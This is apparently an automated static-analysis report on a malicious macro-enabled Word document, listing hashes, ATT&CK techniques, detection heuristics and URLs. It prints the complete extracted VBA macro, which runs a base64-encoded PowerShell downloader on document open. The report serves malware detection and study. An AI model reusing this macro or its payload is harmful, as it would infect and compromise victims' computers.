Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3475f283e7357439…

MALICIOUS

Office (OOXML)

393.2 KB Created: 2014-04-06 07:35:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-18
MD5: 46e032597a17e93c93efceba9d39ae70 SHA-1: ffd47e89f85b55cd62298268795b6b80257ddfde SHA-256: 3475f283e7357439299989fbaf9fc0f40128e93d8ef0b35418d35e0613198d73
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro utilizes WScript.Shell and references PowerShell, indicating an attempt to download and execute a second-stage payload. The presence of the 'Doc.Virus.Pwshell-6755238-0' ClamAV signature further confirms its malicious nature. The macro's script attempts to construct a PowerShell command to download and execute content from a URL, likely involving persistence mechanisms.

Heuristics 10

  • ClamAV: Doc.Virus.Pwshell-6755238-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Virus.Pwshell-6755238-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • External hyperlinks (4) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 4 external hyperlinks — clickable URLs are stored as external relationships. First target: http://www.smjfl.com.au
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.smjfl.com.au Document hyperlink
    • http://www.smjfl.com.au/index.php?id=193Document hyperlink
    • http://www.m.smjfl.com.auDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://sportingpulse.zendesk.com/entries/21673585Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6620 bytes
SHA-256: c6838b0f70200c986865a672f7b7024bc882993300a4c7b26a66b460eb7dfaf7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
b = "JwBpAGUAdwB0AFoAJwA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAnAHMATABmAGIAZABjACcAOwAnAFMAdgBwAHYAWgBKAFkAJwA7ACQAdgB5AGkAaAAgAD0AIAAoAGcAZQB0AC0AdwBtAGkAbwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAApAC4AVQBVAEkARAA7ACcAZwB3AFcAcgBsAG8AVgAnADsAJwBvAHUAdgBkACcAOwBpAGYAIAAoACgAZwBwACAASABLAEMAVQA6AFwAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgApACAALQBtAGEAdABjAGgAIAAkAHYAeQBpAGgAKQB7ADsAJwBjAEwASgBFAEoAdgBKAGUATAAnA" _
& "DsAJwBFAFMAbABGAFEARgBEAEcAJwA7ACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBpAGQAIAAkAHAAaQBkACkALgBLAGkAbABsACgAKQA7ACcAQgBOAEIAZQBrAGIARgAnADsAJwBpAEMASQBjAFcAQQBXAGkASAAnADsAfQA7ACcAdQBwAGQAWQBsAFIAeABjACcAOwAnAFkAdQAnADsAZgB1AG4AYwB0AGkAbwBuACAAZQAoACQAYwB4AGoAKQB7ADsAJwBJAE4AVwBZAHgATQBGAFMAUwB4AEMAJwA7ACcAaABsAGoAWgBPAHoAdgBpAFEASABMACcAOwAkAG0AdQBvACAAPQAgACgAKAAoAGkAZQB4ACAAIgBuAHMAbABvAG8AawB1AHAAIAAtAHEAdQBlAHIAeQB0AHkAcABlAD0AdAB4AHQAIAAkAGMAeABqACAAOAAuADgALgA4AC4AOAAiACkAIAAtAG0AYQB0AGMAaAAgACcAIgAnACkAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACIAJwAsACAAJwAnACkAWwAwAF0ALgBUAHIAaQBtACgAKQA7ACcAdwBxAEIAdQBpAHkASQBVAGUAaQ" _
& "BEACcAOwAnAEUAWgBYAHoAWgBuAGYAagAnADsAJABpAGkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbQB1AG8ALAAgACQAeQBvAGUAKQA7ACcAbQBsAGwAaAAnADsAJwBnAHgAcAAnADsAJAB2AGkAIAA9ACAAJAB2AHAAdwAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB5AG8AZQApAC4ASQB0AGUAbQBzACgAKQA7ACcARABVAHQAUgB1AFgAdQByAGwAJwA7ACcAdwB3AHQAYgBPAGsAbAAnADsAJAB2AHAAdwAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABwAGgAaQApAC4AQwBvAHAAeQBIAGUAcgBlACgAJAB2AGkALAAgADIAMAApADsAJwBaAE8AYwBHAE4ARgBhAHAAQwBkACcAOwAnAGYAdgBWAGgASwBYAEYAaAB1ACcAOwByAGQAIAAkAHkAbwBlADsAJwBiAFgAQQBKAG4AZABUAFoARABnAFoAJwA7ACcASgBDACcAOwB9ADsAJwBPAEMATABRAEQAVwBuAGYAdQAnADsAJwBpAGsAbwBiAEEAJwA7ACcAZQBTAE8AegBsACc" _
& "AOwAnAEYAcwB3AFQASABmAEgAegBiAHIAJwA7ACcAdABUAGoAYgBVAFcAWQAnADsAJwB6AHAAegBUAGYASQBUAEEAagBNACcAOwAkAHAAaABpACAAPQAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAAnACAAKwAgACQAdgB5AGkAaAA7ACcAcABjAHEAWgAnADsAJwBsAE8AbwBOAGUAaABYAEMATgBLAFYAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABwAGgAaQApACkAewA7ACcAWQBLACcAOwAnAEQAUgB0ACcAOwAkAG0AYwAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAkAHAAaABpADsAJwBaAEYAegBOAHQAJwA7ACcARwBqAFQAdwAnADsAJABtAGMALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACIASABpAGQAZABlAG4AIgAsACAAIgBTAHkAcwB0AGUAbQAiACwAIAAi" _
& "AE4AbwB0AEMAbwBuAHQAZQBuAHQASQBuAGQAZQB4AGUAZAAiADsAJwBOAHAAaAB5AGIAUAB6AGcAWABNACcAOwAnAG8AbQBIAFYAUQBNACcAOwB9ADsAJwBIAEgARgBGAEgAUwBzACcAOwAnAHcAbgBYAHUAaQBrACcAOwAnAE8AVAAnADsAJwBWAE8ATABIAFYAdQBYAHEAJwA7ACQAdQBmAD0AJABwAGgAaQArACAAJwBcAHQAbwByAC4AZQB4AGUAJwA7ACcAcwBIAFYAUgBCAEgAegBUAFgARgAnADsAJwB0AHIATABUAEcARgB5AHEAbABnAEUAJwA7ACQAeQBhAG4APQAkAHAAaABpACsAIAAnAFwAcABvAGwAaQBwAG8ALgBlAHgAZQAnADsAJwBWAGgAZAB1ACcAOwAnAGcAWQB2AGQATQAnADsAJAB5AG8AZQA9ACQAcABoAGkAKwAnAFwAJwArACQAdgB5AGkAaAArACcALgB6AGkAcAAnADsAJwBaAGYARABOACcAOwAnAFUAQwBFAGgAUgBPAE4AbQBnACcAOwAkAGkAaQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb" _
& "QAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAnAFUAZwBwAHAAJwA7ACcAYwBkAE4AcQBHAGgAQwBFAGoARwAnADsAJAB2AHAAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AOwAnAE0AcwBmAG0AUgBTAFAAagByAGUAeQAnADsAJwBxAEcAeQAnADsAJwBzAEgAJwA7ACcAaQB4ACcAOwBpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdQBmACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAeQBhAG4AKQApAHsAOwAnAGMAUABHAGYAZwB4AEoATABNAFEAJwA7ACcATwBhAGYAbAAnADsAZQAgACcAaQAuAHYAYQBuAGsAaQBuAC4AZABlACcAOwAnAFIAcABHAEoAVQB4AE4AJwA7ACcARQBoAHIARQBHAEEAQwBkAGsAJwA7AH0AOwAnAGMARgByAGoAeQBzAGEAagBlAFAAJwA7ACcAQwBNAFQASgBMAHkAJwA7ACcAawBsAE" _
& "kAUQB1AE8AaAAnADsAJwBVAEwAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB1AGYAKQAgAC0AbwByACAAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB5AGEAbgApACkAewA7ACcAUgBaAGQAJwA7ACcAdABiAFYAVwAnADsAZQAgACcAZwBnAC4AaQBiAGkAegAuAGMAYwAnADsAJwBtAFoAQQBTAHkAdgBqACcAOwAnAGgAYwB6AGoASABFAEgAJwA7AH0AOwAnAEkATQB2ACcAOwAnAHkAYQB3AHAAYgBTAEgASQBOACcAOwAnAFQAZABZAGkAcQB6ACcAOwAnAEQAYQBLAEkAJwA7ACQAaQB1AGwAPQAkAHAAaABpACsAJwBcAHIAbwBhAG0AaQBuAGcAbABvAGcAJwA7ACcASwB5AGkAQQB0AFIASQBTAGEAQgBpACcAOwAnAE0ASQBBAGEAJwA7AHMAYQBwAHMAIAAkAHUAZgAgAC0AQQByACAAIgAgAC0ALQBMAG8AZwAgAGAAIgBuAG8AdABpAGMAZQAgAGYAaQBsAGUAIAAkAGkAdQBsAGAAIgAiACAALQB3AGkAIAB" _
& "IAGkAZABkAGUAbgA7ACcAWABxAG8AJwA7ACcAaQBYACcAOwBkAG8AewBzAGwAZQBlAHAAIAAxADsAJABlAHAAPQBnAGMAIAAkAGkAdQBsAH0AdwBoAGkAbABlACgAIQAoACQAZQBwACAALQBtAGEAdABjAGgAIAAnAEIAbwBvAHQAcwB0AHIAYQBwAHAAZQBkACAAMQAwADAAJQA6ACAARABvAG4AZQAuACcAKQApADsAJwBEAEUAQwBxACcAOwAnAG0ATQBUAHoAbQBvACcAOwBzAGEAcABzACAAJAB5AGEAbgAgAC0AYQAgACIAcwBvAGMAawBzAFAAYQByAGUAbgB0AFAAcgBvAHgAeQA9AGwAbwBjAGEAbABoAG8AcwB0ADoAOQAwADUAMAAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcAcQBMAHoAUQBuAFEAQQBnAGwAVQAnADsAJwBsAGMAJwA7AHMAbABlAGUAcAAgADcAOwAnAE8AaABBAFMAWABaAEwAVgBoAHYAeQAnADsAJwBiAFUATQBRAGUAcgBrACcAOwAkAGgAagBhAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQA" _
& "ZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAKAAiAGwAbwBjAGEAbABoAG8AcwB0ADoAOAAxADIAMwAiACkAOwAnAHkAcwBFAFQASQBGAE8AJwA7ACcAYQBNAHoAZQBFAFgASgBhAHQAVQBjACcAOwAkAGgAagBhAC4AdQBzAGUARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAJAB0AHIAdQBlADsAJwBNAEEAJwA7ACcAYQBoAHgAWQBqAEUATABXAGYAJwA7ACQAaQBpAC4AcAByAG8AeAB5AD0AJABoAGoAYQA7ACcAawBsAGwAWgBYAFoAUABTAGMARgBFACcAOwAnAFUAbgBQAEgAZQBEAHQAJwA7ACQAbABhAHoAPQAnAGgAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAbwByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AcwBlAHQAdQBwACYAbQBvAG0APQA5AEMANwBBAEIARAAzAEEALQBEADEAOQA3AC0AMQAxAEQAQgAtAEIAQgBEAEEALQBCAEIARQAwA" _
& "DYAMQBFADYAMAAwADEAOQAmAHUAaQBkAD0AJwAgACsAIAAkAHYAeQBpAGgAOwAnAGMAbQBJAEoAYgBjAGwAbABTAGYAZAAnADsAJwBUAFIAdQB0AEQATgBuACcAOwB3AGgAaQBsAGUAKAAhACQAcQBiACkAewAkAHEAYgA9ACQAaQBpAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJABsAGEAegApAH0AOwAnAGUAYQB4AGQAQgBnAG4AUgB5AHQARwAnADsAJwBVAGMAagB5AGIATgBnAFUAJwA7AGkAZgAgACgAJABxAGIAIAAtAG4AZQAgACcAbgBvAG4AZQAnACkAewA7ACcAdQBJAEMAdABsAGMAbwBFAFYAJwA7ACcAdQBkAEcAJwA7AGkAZQB4ACAAJABxAGIAOwAnAFgATgBOAGQAdABGAHEAUQBoAFMARgAnADsAJwBRAHoAZgBXAHkASwBxAHIAWQAnADsAfQA7ACcASABxAEkASgBKAEYAJwA7AA=="
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: 232b89bacbedbb7a155edf4a0be4f4aa9f3409ab3fece9bcf97ce1b6b5830dbd
Detection
ClamAV: Doc.Virus.Pwshell-6755238-0
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).

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